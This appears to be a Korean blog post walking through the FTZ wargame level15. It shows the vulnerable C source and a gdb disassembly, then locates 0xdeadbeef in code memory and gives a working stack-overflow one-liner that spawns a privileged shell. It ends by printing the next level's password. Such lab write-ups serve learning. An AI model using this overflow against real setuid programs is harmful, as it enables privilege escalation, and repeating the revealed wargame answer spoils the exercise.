티스토리 뷰

System/FTZ

[FTZ] level15

MitNy 2017. 9. 27. 17:49



힌트는 다음과 같다


#include <stdio.h>


main()

{ int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

}



level15는 level14와 전체적인 코드는 비슷하지만

포인터 변수 check와 0xdeadbeef 를 비교하는게 다르다.

이번 문제는 포인터에 대한 이해가 요구되는 것 같다.



A가 39개까진 들어가고 40개부터는 Segmentation fault가 뜬다.



(gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>: push   ebp

0x08048491 <main+1>: mov    ebp,esp

0x08048493 <main+3>: sub    esp,0x38

0x08048496 <main+6>: sub    esp,0x4

0x08048499 <main+9>: push   ds:0x8049664

0x0804849f <main+15>: push   0x2d    -> 45

0x080484a1 <main+17>: lea    eax,[ebp-56]

0x080484a4 <main+20>: push   eax

0x080484a5 <main+21>: call   0x8048360 <fgets>

0x080484aa <main+26>: add    esp,0x10

0x080484ad <main+29>: mov    eax,DWORD PTR [ebp-16]

0x080484b0 <main+32>: cmp    DWORD PTR [eax],0xdeadbeef

0x080484b6 <main+38>: jne    0x80484dd <main+77>

0x080484b8 <main+40>: sub    esp,0x8

0x080484bb <main+43>: push   0xc18

0x080484c0 <main+48>: push   0xc18

0x080484c5 <main+53>: call   0x8048380 <setreuid>

0x080484ca <main+58>: add    esp,0x10

0x080484cd <main+61>: sub    esp,0xc

0x080484d0 <main+64>: push   0x8048548

0x080484d5 <main+69>: call   0x8048340 <system>

0x080484da <main+74>: add    esp,0x10

0x080484dd <main+77>: leave

0x080484de <main+78>: ret

0x080484df <main+79>: nop

End of assembler dump.




A를 39개 넣었을 때와



A를 40개 넣었을 때의 값들이다.



이 문제를 풀려면 0xdeadbeef가 존재하는 메모리 주소와 *check를 비교해야할 것이다.

그래서 우선 main의 메모리 값들을 보면 다음과 같다.

잘 보면 0x80484b0 주소 줄에 0xbeef3881 , 0x2575dead가 있다.

이걸 이용하면 될 것 같다.



0x80484b0에서 1씩 증가시켜 값들을 보면 0xbeef3881, 0xadbeef38, 0xdeadbeef 로 0xdeadbeef의 주소를 알 수 있다.





0xdeadbeef의 주소는 0x80484b2

이 주소를 이용해 A 40개를 넣어 buf와 dummy를 채워주고

0x80484b2를 little endian 방식으로 python 코드를 입력해주면 된다.


(python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme




Level16 Password is "about to cause mass".

'System > FTZ' 카테고리의 다른 글

[FTZ] level17  (0) 2017.09.28
[FTZ] level16  (0) 2017.09.28
[FTZ] level14  (0) 2017.09.25
[FTZ] level13  (3) 2017.09.21
[FTZ] level12  (0) 2017.09.20
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함